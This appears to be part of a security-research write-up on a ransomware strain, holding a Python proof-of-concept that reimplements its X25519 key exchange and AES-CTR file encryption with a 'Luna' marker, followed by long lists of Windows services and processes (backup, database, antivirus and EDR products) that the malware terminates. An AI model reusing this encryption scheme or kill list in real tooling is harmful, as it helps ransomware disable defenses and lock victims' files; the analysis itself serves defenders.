# Malware author generates public key and embeds into malware, keeps private key for decryption later
author_private_key = x25519.X25519PrivateKey.generate()         # Unknown author's priv_key generation method
author_embedded_public_key = author_private_key.public_key()

# Malware generates key pair
malware_private_key = x25519.X25519PrivateKey.generate()
malware_public_key = malware_private_key.public_key()

# Serialization of malware pub_key
malware_public_bytes = malware_public_key.public_bytes(encoding=serialization.Encoding.Raw,
  format=serialization.PublicFormat.Raw)
print("Malware Public Key:  ", colored(malware_public_bytes.hex(), "blue"))

# AES key generated by malware's private key and author's embedded public key
# malware_private_key is discarded after this step and not needed for decryption
shared_key_generated = malware_private_key.exchange(author_embedded_public_key)
print("Generated Shared Key (AES): " + colored(shared_key_generated.hex(), "cyan"))

# Encryption Step with AES + IV null-padded LUNA string
iv = bytearray(b'4c756e6100000000')                             # 'Luna....' 16 bytes sized needed for AES CTR

# AES stream cipher (CTR) created using AES shared key and IV
cipher = Cipher(algorithms.AES(shared_key_generated), modes.CTR(iv))
encryptor = cipher.encryptor()

# String to be encrypted
plaintext = b"You know, for search!"
print("Plaintext: ", colored(plaintext, "green"))
print("Plaintext.hex(): ", colored(plaintext.hex(), "green"))

# Encryption of string using AES stream cipher
ct = encryptor.update(plaintext) + encryptor.finalize()

# Mock encrypted file with cipher text + public bytes + file marker
file_marker = b"Luna"                                           # 0x4c756e61
encrypted_file = ct + malware_public_bytes + file_marker

file_ciphertext = encrypted_file[:-36]
pub_key_from_encrypted_file = encrypted_file[-36:-4]
file_marker_from_encrypted_file = encrypted_file[-4:]

print("Encrypted File contents: \n",
    colored(file_ciphertext.hex(), "red"),
    colored(pub_key_from_encrypted_file.hex(), "blue"),
    colored(file_marker_from_encrypted_file.hex(), "yellow"))
print("\t",
    colored("Encrypted content", "red"), "        ",
    colored("Embedded malware's pub_key", "blue"), "       ",
    colored("Embedded file marker", "yellow"))

# Serialization
malware_public_key_from_file = x25519.X25519PublicKey.from_public_bytes(pub_key_from_encrypted_file)

# AES key derived from author's private key and malware embedded public key
shared_key_derived = author_private_key.exchange(malware_public_key_from_file)
print("Derived Shared Key (AES): ", colored(shared_key_derived.hex(), "cyan"))

# Decryption using derived AES shared key and IV
redo_cipher = Cipher(algorithms.AES(shared_key_derived), modes.CTR(iv))
decryptor = redo_cipher.decryptor()
result = decryptor.update(file_ciphertext) + decryptor.finalize()
print("Decrypted plaintext: ", colored(result, "green"))

This Python script will display the malware public key, the shared AES key, the plain text as a string, the plain text as a hex value, the encrypted text, and finally decrypt the encrypted text back into the original plain text as a string.

Windows services termination list
|                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |
| -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Acronis VSS ProviderAcronisAgentAcrSch2SvcAdobeARMserviceAlerterARSMaswBccavbackupBackupExecAgentAcceleratorBackupExecAgentBrowserBackupExecDeviceMediaServiceBackupExecJobEngineBackupExecManagementServiceBackupExecRPCServiceBackupExecVSSProviderbcrservicebedbgBITSBlueStripeCollectorBrokerInfrastructureccEvtMgrccSetMgrCissesrvCpqRcmc3CSAdminCSAuthCSDbSyncCSLogCSMonCSRadiusCSTacacsDB2DB2-0DB2DAS00DB2GOVERNOR_DB2COPY1DB2INST2DB2LICD_DB2COPY1DB2MGMTSVC_DB2COPY1DB2REMOTECMD_DB2COPY1DCAgentEhttpSrvekrnEnterprise Client Serviceepag EPIntegrationService EPProtectedService epredline EPSecurityServiceEPSecurityService EPUpdateServiceEPUpdateService EraserSvc11710ERSvcEsgShKernelESHASRVEventlogFA_SchedulerGoogleChromeElevationServicegupdategupdatemHealthServiceIBMDataServerMgrIBMDSServer41IDriverTIISAdminIMAP4SvcImapiServiceklnagentLogProcessorServiceLRSDRVXmacmnsvcmasvcMBAMServiceMBEndpointAgentMcShieldMcTaskManagermfefiremfemmsmfevtpmfewcMMSMozyprobackupMsDtsServerMsDtsServer100MsDtsServer110 | MsDtsServer130MSExchangeESMSExchangeISMSExchangeMGMTMSExchangeMTAMSExchangeSAMSExchangeSRSmsftesql$PRODMSMQ MSOLAP$SQL_2008MSOLAP$SYSTEM_BGCMSOLAP$TPSMSOLAP$TPSAMAMSSQL$BKUPEXECMSSQL$CITRIX_METAFRAMEMSSQL$ECWDB2MSSQL$EPOSERVERMSSQL$ITRISMSSQL$NET2MSSQL$PRACTICEMGTMSSQL$PRACTTICEBGCMSSQL$PRODMSSQL$PROFXENGAGEMENTMSSQL$SBSMONITORINGMSSQL$SHAREPOINTMSSQL$SQL_2008MSSQL$SQLEXPRESSMSSQL$SYSTEM_BGCMSSQL$TPSMSSQL$TPSAMAMSSQL$VEEAMSQL2008R2MSSQL$VEEAMSQL2012MSSQLFDLauncherMSSQLFDLauncher$ITRISMSSQLFDLauncher$PROFXENGAGEMENTMSSQLFDLauncher$SBSMONITORINGMSSQLFDLauncher$SHAREPOINTMSSQLFDLauncher$SQL_2008MSSQLFDLauncher$SYSTEM_BGCMSSQLFDLauncher$TPSMSSQLFDLauncher$TPSAMAMSSQLLaunchpad$ITRISMSSQLSERVERMSSQLServerADHelperMSSQLServerADHelper100MSSQLServerOLAPServicemsvsmon90MySQL57Net2ClientSvcNetDDENetMsmqActivatorNetSvcNimbusWatcherServiceNtLmSspNtmsSvcntrtscanodservOracleClientCache80osePDVFSServicePOP3SvcProLiantMonitorReportServerReportServer$SQL_2008ReportServer$SYSTEM_BGCReportServer$TPSReportServer$TPSAMARESvcRSCDsvcsacsvrSamSsSAVServiceSDD_ServiceSDRSVCSentinelAgentSentinelHelperServiceSentinelStaticEngineSepMasterServiceSepMasterServiceMigShMonitorSmcinstSmcServiceSMTPSvcSNAC | SnowInventoryClientSntpServiceSQL BackupsSQLAgent$BKUPEXECSQLAgent$CITRIX_METAFRAMESQLAgent$CXDBSQLAgent$ECWDB2SQLAgent$EPOSERVERSQLAgent$ITRISSQLAgent$NET2SQLAgent$PRACTTICEBGCSQLAgent$PRACTTICEMGTSQLAgent$PRODSQLAgent$PROFXENGAGEMENTSQLAgent$SBSMONITORINGSQLAgent$SHAREPOINTSQLAgent$SQL_2008SQLAgent$SQLEXPRESSSQLAgent$SYSTEM_BGCSQLAgent$TPSSQLAgent$TPSAMASQLAgent$VEEAMSQL2008R2SQLAgent$VEEAMSQL2012SQLBrowserSQLsafe Backup ServiceSQLsafe Filter ServiceSQLSafeOLRServiceSQLSERVERAGENTSQLTELEMETRYSQLTELEMETRY$ECWDB2SQLTELEMETRY$ITRISSQLWriterSSISTELEMETRY130SstpSvcsvcGenericHostswi_filterswi_serviceswi_updateswi_update_64SymantecSymantec System RecoverysysdownSystemTelemetryserverTlntSvrTmCCSFtmlistenTmPfw tpautoconnsvcTPVCGatewayTrueKeyTrueKeySchedulerTrueKeyServiceHelperTSMUI0DetectVeeam Backup Catalog Data ServiceVeeamBackupSvcVeeamBrokerSvcVeeamCatalogSvcVeeamCloudSvcVeeamDeploymentServiceVeeamDeploySvcVeeamEnterpriseManagerSvcVeeamHvIntegrationSvcVeeamMountSvcVeeamNFSSvcVeeamRESTSvcVeeamTransportSvcVGAuthServiceVMToolsVMwareVMwareCAFCommAmqpListenerVMwareCAFManagementAgentHostvmware-converter-agentvmware-converter-servervmware-converter-workerW3SvcwbengineWdNisSvcWebClientWinDefendWinVNC4WRSVCZoolz 2 Service |
Windows process termination list
|                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| a2service.exea2start.exeaawservice.exeacaas.exeacaegmgr.exeacaif.exeacais.exeacctmgr.exeaclient.exeaclntusr.exead-aware2007.exeadministrator.exeadminserver.exeaesecurityservice.exeaexagentuihost.exeaexnsagent.exeaexnsrcvsvc.exeaexsvc.exeaexswdusr.exeaflogvw.exeafwserv.exeagntsvc.exeahnrpt.exeahnsd.exeahnsdsv.exealert.exealertsvc.exealmon.exealogserv.exealsvc.exealunotify.exealupdate.exealuschedulersvc.exeamsvc.exeamswmagtaphost.exeappsvc32.exeaps.exeapvxdwin.exeashbug.exeashchest.exeashcmd.exeashdisp.exeashenhcd.exeashlogv.exeashmaisv.exeashpopwz.exeashquick.exeashserv.exeashsimp2.exeashsimpl.exeashskpcc.exeashskpck.exeashupd.exeashwebsv.exeasupport.exeaswdisp.exeaswregsvr.exeaswserv.exeaswupdsv.exeaswwebsv.exeatrshost.exeatwsctsk.exeaupdrun.exeaus.exeauth8021x.exeautoup.exeavcenter.exeavconfig.exeavconsol.exeavengine.exeavesvc.exeavfwsvc.exeavkproxy.exeavkservice.exeavktray.exeavkwctl.exeavltmain.exeavmailc.exeavmcdlg.exeavnotify.exeavscan.exeavscc.exeavserver.exeavshadow.exeavsynmgr.exeavtask.exeavwebgrd.exebasfipm.exebavtray.exebcreporter.exebcrservice.exebdagent.exebdc.exebdlite.exebdmcon.exebdredline.exebdss.exebdsubmit.exebhipssvc.exebka.exeblackd.exeblackice.exebluestripecollector.exeblupro.exebmrt.exebwgo0000ca.execaantispyware.execaav.execaavcmdscan.execaavguiscan.execaf.execafw.execaissdt.execalogdump.execapfaem.execapfasem.execapfsem.execapmuamagt.execappactiveprotection.execasc.execasecuritycenter.execaunst.execavrep.execavrid.execavscan.execavtray.execcap.execcapp.execcemflsv.execcenter.execcevtmgr.execcflic0.execcflic4.execclaw.execcm messaging.execcnfagent.execcprovsp.execcproxy.execcpxysvc.execcschedulersvc.execcsetmgr.execcsmagtd.execcsvchst.execcsystemreport.execctray.execcupdate.execdm.execertificateprovider.execertificationmanagerservicent.execfftplugin.execfnotsrvd.execfp.execfpconfg.execfpconfig.execfplogvw.execfpsbmit.execfpupdat.execfsmsmd.execheckup.exechrome.execis.execistray.execka.execlamscan.execlamtray.execlamwin.execlient.execlient64.execlps.execlpsla.execlpsls.execlshield.execmdagent.execmdinstall.execmgrdian.execntaosmgr.execollwrap.execomhost.execonfig_api_service.execonsole.execontrol_panel.execoreframeworkhost.execoreserviceshell.execpd.execpdclnt.execpf.execpntsrv.execramtray.execrashrep.execrdm.execrssvc.execsacontrol.execsadmin.execsauth.execsdbsync.execsfalconservice.execsinject.execsinsm32.execsinsmnt.execslog.execsmon.execsradius.execsrss_tc.execssauth.execstacacs.exectdataload.execwbunnav.execylancesvc.execylanceui.exedao_log.exedbeng50.exedbserv.exedbsnmp.exedbsrv9.exedefwatchdefwatch.exedeloeminfs.exedeteqt.agent.exediskmon.exedjsnetcn.exedlservice.exedltray.exedolphincharge.edolphincharge.exedoscan.exedpmra.exedr_serviceengine.exedrwagntd.exedrwagnui.exedrweb.exedrweb32.exedrweb32w.exedrweb386.exedrwebcgp.exedrwebcom.exedrwebdc.exedrwebmng.exedrwebscd.exedrwebupw.exedrwebwcl.exedrwebwin.exedrwinst.exedrwupgrade.exedsmcad.exedsmcsvc.exedwarkdaemon.exedwengine.exedwhwizrd.exedwnetfilter.exedwrcst.exedwwin.exeedisk.exeeeyeevnt.exeegui.exeehttpsrv.exeekrn.exeelogsvc.exeemlibupdateagentnt.exeemlproui.exeemlproxy.exeencsvc.exeendpointsecurity.exeengineserver.exeentitymain.exeepmd.exeera.exeerlsrv.exeesecagntservice.exeesecservice.exeesmagent.exeetagent.exeetconsole3.exeetcorrel.exeetloganalyzer.exeetreporter.exeetrssfeeds.exeetscheduler.exeetwcontrolpanel.exeeuqmonitor.exeeventparser.exeevtarmgr.exeevtmgr.exeevtprocessecfile.exeewidoctrl.exeexcel.exeexecstat.exefameh32.exefcappdb.exefcdblog.exefch32.exefchelper64.exefcsms.exefcssas.exefih32.exefirefox.exefirefoxconfig.exefiresvc.exefiretray.exefirewallgui.exefmon.exefnplicensingservice.exeforcefield.exefpavserver.exefprottray.exeframeworkservicframeworkservic.exeframeworkservice.exefrzstate2k.exefsaa.exefsaua.exefsav32.exefsavgui.exefscuif.exefsdfwd.exefsgk32.exefsgk32st.exefsguidll.exefsguiexe.exefshdll32.exefshoster32.exefshoster64.exefsm32.exefsma32.exefsmb32.exefsorsp.exefspc.exefspex.exefsqh.exefssm32.exefwcfg.exefwinst.exe | fws.exegcascleaner.exegcasdtserv.exegcasinstallhelper.exegcasnotice.exegcasserv.exegcasservalert.exegcasswupdater.exeGdfirewalltray.exegdfwsvc.exegdscan.exegfireporterservice.exeghost_2.exeghosttray.exegiantantispywaremain.exegiantantispywareupdater.exegooglecrashhandler.exegooglecrashhandler64.exegoogleupdate.exegziface.exegzserv.exehasplmv.exehdb.exehealthservice.exehpqwmiex.exehwapi.exeicepack.exeidsinst.exeiface.exeigateway.exeilicensesvc.exeinet_gethost.exeinfopath.exeinicio.exeinonmsrv.exeinorpc.exeinort.exeinotask.exeinoweb.exeisafe.exeisafinst.exeisntsmtp.exeisntsysmonitorispwdsvc.exeisqlplussvc.exeisscsf.exeissdaemon.exeissvc.exeisuac.exeiswmgr.exeitmrt_supportdiagnostics.exeitmrt_trace.exeitmrtsvc.exeixaptsvc.exeixavsvc.exeixfwsvc.exekabackreport.exekaccore.exekanmcmain.exekansgui.exekansvr.exekb891711.exekeysvc.exekis.exekislive.exekissvc.exeklnacserver.exeklnagent.exeklserver.exeklswd.exeklwtblfs.exekmailmon.exeknownsvr.exeknupdatemain.exekpf4gui.exekpf4ss.exekpfw32.exekpfwsvc.exekrbcc32s.exekswebshield.exekvdetech.exekvmonxp.kxpkvmonxp_2.kxpkvolself.exekvsrvxp.exekvsrvxp_1.exekvxp.kxpkwatch.exekwsprod.exekxeserv.exeleventmgr.exelivesrv.exelmon.exelog_qtine.exeloggetor.exeloggingserver.exeluall.exelucallbackproxy.exelucoms.exelucoms~1.exelucomserver.exelwdmserver.exemacmnsvc.exemacompatsvc.exemanagementagenthost.exemanagementagentnt.exemantispm.exemasalert.exemassrv.exemasvc.exembamservice.exembamtray.exemcagent.exemcapexe.exemcappins.exemcconsol.exemcdash.exemcdetect.exemcepoc.exemcepocfg.exemcinfo.exemcmnhdlr.exemcmscsvc.exemcnasvc.exemcods.exemcpalmcfg.exemcpromgr.exemcproxy.exemcregwiz.exemcsacore.exemcscript_inuse.exemcshell.exemcshield.exemcshld9x.exemcsvhost.exemcsysmon.exemctray.exemctskshd.exemcui32.exemcuimgr.exemcupdate.exemcupdmgr.exemcvsftsn.exemcvsrte.exemcvsshld.exemcwce.exemcwcecfg.exemfeann.exemfecanary.exemfeesp.exemfefire.exemfefw.exemfehcs.exemfemactl.exemfemms.exemfetp.exemfevtps.exemfewc.exemfewch.exemgavrtcl.exemghtml.exemgntsvc.exemonitoringhost.exemonsvcnt.exemonsysnt.exempcmdrun.exempf.exempfagent.exempfconsole.exempfservice.exempfsrv.exempftray.exemps.exempsevh.exempsvc.exemrf.exemsaccess.exemsascui.exemscifapp.exemsdtssrvr.exemsftesql.exemskagent.exemskdetct.exemsksrver.exemsksrvr.exemsmdsrv.exemsmpeng.exemspmspsv.exemspub.exemsscli.exemsseces.exemsssrv.exemusnotificationux.exemyagttry.exemydesktopqos.exemydesktopservice.exemysqld.exemysqld-nt.exemysqld-opt.exenailgpip.exenaprdmgr.exenavectrl.exenavelog.exenavesp.exenavshcom.exenavw32.exenavwnt.exencdaemon.exend2svc.exendetect.exendrvs.exendrvx.exeneotrace.exenerosvc.exenetalertclient.exenetcfg.exenetsession_win.exenetworkagent.exenexengctw32.exengserver.exenimbus.exenimcluster.exenip.exenipsvc.exenisoptui.exenisserv.exenissrv.exenisum.exenjeeves.exenlclient.exenlsvc.exenmagent.exenmain.exenortonsecurity.exenpfmntor.exenpfmsg.exenpfmsg2.exenpfsvice.exenpmdagent.exenprotect.exenpscheck.exenpssvc.exenrmenctb.exenscsrvce.exensctop.exenslocollectorservice.exensmdemf.exensmdmon.exensmdreal.exensmdsch.exensmdtr.exentcaagent.exentcadaemon.exentcaservice.exentevl.exentrtscan.exentservices.exenvcoas.exenvcsched.exenymse.exeoasclnt.exeocautoupds.exeocomm.exeocssd.exeoespamtest.exeofcdog.exeofcpfwsvc.exeokclient.exeolfsnt40.exeomniagent.exeomslogmanager.exeomtsreco.exeonenote.exeonlinent.exeonlnsvc.exeop_viewer.exeopscan.exeoracle.exeoutlook.exeoutpost.exepaamsrv.exepadfsvr.exepagent.exepagentwd.exepasystemtray.exepatch.exepatrolagent.exepatrolperf.exepavbckpt.exepavfires.exepavfnsvr.exepavjobs.exepavkre.exepavmail.exepavreport.exepavsched.exepavsrv50.exepavsrv51.exepavsrv52.exepavupg.exepaxton.net2.clientservice.exepaxton.net2.commsserverservice.exepccclient.exepccguide.exepcclient.exepccnt.exepccntmon.exepccntupd.exepccpfw.exepcctlcom.exepcscan.exepcscm.exepcscnsrv.exepcsws.exepctsauxs.exepctsgui.exepctssvc.exepctstray.exepep.exepersfw.exepmgreader.exepmon.exepnmsrv.exepntiomon.exePop3pack.exepop3trap.exepoproxy.exepowerpnt.exeppclean.exeppctlpriv.exe | ppmcativedetection.exeppppwallrun.exepqibrowser.exepqv2isvc.exepralarmmgr.exeprcalculationmgr.exeprconfigmgr.exeprdatabasemgr.exepremailengine.exepreventmgr.exeprevsrv.exeprftpengine.exeprgateway.exeprintdevice.exeprivacyiconclient.exeprlicensemgr.exeprocexp.exeproficy administrator.exeproficyclient.exe4proficypublisherservice.exeproficyserver.exeproficysts.exeproutil.exeprprintserver.exeprproficymgr.exeprrds.exeprreader.exeprrouter.exeprschedulemgr.exeprstubber.exeprsummarymgr.exeprunsrv.exeprwriter.exepsanhost.exepsctris.exepsctrls.exepsh_svc.exepshost.exepsimreal.exepsimsvc.exepskmssvc.exepsuamain.exepsuaservice.exepthosttr.exepview.exepviewer.exepwdfilthelp.exepxemtftp.exepxeservice.exeqclean.exeqdcsfs.exeqoeloader.exeqserver.exerapapp.exerapuisvc.exeras.exerasupd.exerav.exeravmon.exeravmond.exeravservice.exeravstub.exeravtask.exeravtray.exeravupdate.exeravxp.exercsvcmon.exerdrcef.exerealmon.exeredirsvc.exeregmech.exeremupd.exerepmgr64.exereportersvc.exereportingservicesservice.exereportsvc.exeretinaengine.exerfwmain.exerfwproxy.exerfwsrv.exerfwstub.exernav.exernreport.exerouternt.exerpcserv.exerscd.exerscdsvc.exersnetsvr.exerssensor.exerstray.exertvscan.exerulaunch.exesafeservice.exesahookmain.exesaservice.exesav32cli.exesavfmsectrl.exesavfmselog.exesavfmsesjm.exesavfmsesp.exesavfmsespamstatsmanager.exesavfmsesrv.exesavfmsetask.exesavfmseui.exesavmain.exesavroam.exesavscan.exesavservice.exesavui.exesbamsvc.exesbserv.exescan32.exescanexplicit.exescanfrm.exescanmailoutlook.exescanmsg.exescanwscs.exescfagent_64.exescfmanager.exescfservice.exescftray.exeschdsrvc.exeschupd.exesdrservice.exesdtrayapp.exeseanalyzertool.exeseccenter.exesecuritycenter.exesecuritymanager.exeseestat.exesemsvc.exeserver_eventlog.exeserver_runtime.exesesclu.exesetloadorder.exesetupguimngr.exesevinst.exesgbhp.exeshstat.exesidebar.exesiteadv.exeslee81.exesmc.exesmcgui.exesmex_activeupdasmex_master.exesmex_remoteconfsmex_systemwatcsmoutlookpack.exesms.exesmsectrl.exesmselog.exesmsesjm.exesmsesp.exesmsesrv.exesmsetask.exesmseui.exesmsx.exesnac.exesndmon.exesndsrvc.exesnhwsrv.exesnicheckadm.exesnichecksrv.exesnicon.exesnsrv.exespbbcsvc.exespideragent.exespiderml.exespidernt.exespiderui.exespntsvc.exespooler.exespyemergency.exespyemergencysrv.exesqbcoreservice.exesqlagent.exesqlbrowser.exesqlservr.exesqlwriter.exesrvload.exesrvmon.exesschk.exessecuritymanager.exessm.exessp.exessscheduler.exestarta.exesteam.exestinger.exestopa.exestopp.exestwatchdog.exesvcgenerichostsvcharge.exesvcntaux.exesvdealer.exesvframe.exesvtray.exeswc_service.exeswdsvc.exesweepsrv.sysswi_service.exeswnetsup.exeswnxt.exeswserver.exesymlcsvc.exesymproxysvc.exesymsport.exesymtray.exesymwsc.exesynctime.exesysdoc32.exesysoptenginesvc.exetaskhostw.exetbirdconfig.exetbmon.exetclproc.exetdimon.exeteamviewer_service.exetfgui.exetfservice.exetftray.exetfun.exethebat.exethebat64.exethunderbird.exetiaspn~1.exetmas.exetmlisten.exetmntsrv.exetmpfw.exetmproxy.exetnbutil.exetnslsnr.exetoolbarupdater.exetpsrv.exetraflnsp.exetraptrackermgr.exetrjscan.exetrupd.exetsansrf.exetsatisy.exetscutynt.exetsmpnt.exeucservice.exeudaterui.exeuiseagnt.exeuiwatchdog.exeumxagent.exeumxcfg.exeumxfwhlp.exeumxpol.exeunsecapp.exeunvet32.exeup2date.exeupdate_task.exeupdaterui.exeupdtnv28.exeupfile.exeuplive.exeuploadrecord.exeupschd.exeurl_response.exeurllstck.exeuseractivity.exeuseranalysis.exeusergate.exeusrprmpt.exev2iconsole.exev3clnsrv.exev3exec.exev3imscn.exev3lite.exev3main.exev3medic.exev3sp.exev3svc.exevetmsg.exevettray.exevgauthservice.exevisio.exevmacthlp.exevmtoolsd.exevmware-converter.exevmware-converter-a.exevmwaretray.exevpatch.exevpc32.exevpdn_lu.exevprosvc.exevprot.exevptray.exevrv.exevrvmail.exevrvmon.exevrvnet.exevshwin32.exevsmain.exevsmon.exevsserv.exevsstat.exevstskmgr.exewebproxy.exewebscanx.exewebsensecontrolservice.exewebtrapnt.exewfxctl32.exewfxmod32.exewfxsnt40.exewin32sysinfo.exewinlog.exewinroute.exewinvnc4.exewinword.exewordpad.exeworkflowresttest.exewrctrl.exewrsa.exewrspysetup.exewscntfy.exewssfcmai.exewtusystemsuport.exexcommsvr.exexfilter.exexfssvccon.exezanda.exezapro.exezavcore.exezillya.exezlclient.exezlh.exezonealarm.exezoolz.exe |

Salim Bitam - Elastic Security Labs

REVSTEALER ramps up: analysis of up-and-coming infostealer

Key takeaways

Attack vector

Features

Development

CIS exclusion checks

Sandbox scoring system

Credential harvesting

Payload watermarking

Polygon dead drops as fallback

Victim profiling

Gaming platforms

Four follow-on modules delivered by C2 tasking

REVSTEALER technical white paper

String decryption script for REVSTEALER in IDA Pro

REVSTEALER and MITRE ATT&CK

Tactics

Techniques

Detecting and preventing REVSTEALER

Detection rules for REVSTEALER

Prevention rules for REVSTEALER

YARA rules for REVSTEALER

Observables and indicators of compromise

References

ClickFix to Cash-Out: Anatomy of a Mexican Banking-Fraud Toolkit

Key takeaways

How Elastic Security Labs discovered REF6045

SCMBANKER's execution chain

Fake update smokescreen

UAC consent fatigue loop

Cursor trap

Downloading the SCMBANKER toolkit via bitsadmin

SCMBANKER's persistence: registry Run key and startup folder

Forcing a reboot to trigger persistence

The SCMBANKER toolkit

run.vbs: SCMBANKER's master launcher

C2 beacon and victim management

Banking activity monitor

SCMBANKER's keylogging module

The vishing engine: turning infections into live phone scams

Active browser redirects to phishing pages

Clipboard and transfer manipulation

How does the operator get hands-on access to a victim's machine?

SCMBANKER's self-update mechanism

Is the REF6045 malware written by AI?

REF6045's infrastructure and OPSEC failures

